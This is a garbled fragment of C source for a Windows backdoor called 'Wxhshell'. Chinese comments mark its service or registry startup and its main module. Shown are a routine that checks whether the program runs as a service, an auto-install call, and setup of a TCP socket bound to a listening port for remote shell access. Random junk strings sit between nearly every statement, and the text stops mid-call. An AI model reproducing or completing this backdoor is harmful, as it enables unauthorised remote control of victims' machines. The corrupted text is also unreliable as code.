Q. 7VDz if(hProcess==NULL) return 0; xwq+j " Q|#W#LV,K HMODULE hMod; q!|*oUW char procName[255]; $}!p+$ unsigned long cbNeeded; ?j"KV_ ?B2] -+Y if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gz,i~XX {?:X8&Sf CloseHandle(hProcess); 4b98KsYg $\X[@E S0 if(strstr(procName,"services")) return 1; // 以服务启动 ~?K ~L~f5 0.8 2kl return 0; // 注册表启动 }&wUr>= } ^c9t'V`IWQ ewctkI$,5 // 主模块 +JjW_Rl?=V int StartWxhshell(LPSTR lpCmdLine) s~5[![1
K { x-^`~p SOCKET wsl; XovRg, BOOL val=TRUE; K/IWH[ int port=0; wk5s)%V struct sockaddr_in door; ^hZ0IM )b)-ZS7 if(wscfg.ws_autoins) Install(); ahJ`$U4n n>BkTaI port=atoi(lpCmdLine); MkfBuW;) zh8nc%X{ if(port<=0) port=wscfg.ws_port; [XEkz#{
TFlet"ge= WSADATA data; JB<Sl4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (|klSz_4LM 9\_eK,*B if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;$.J3! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Egg=yF>T door.sin_family = AF_INET; m
qMHL2~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); A%KDiIA door.sin_port = htons(port); Z2qW\E^_r /5(Yy} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Azl&m |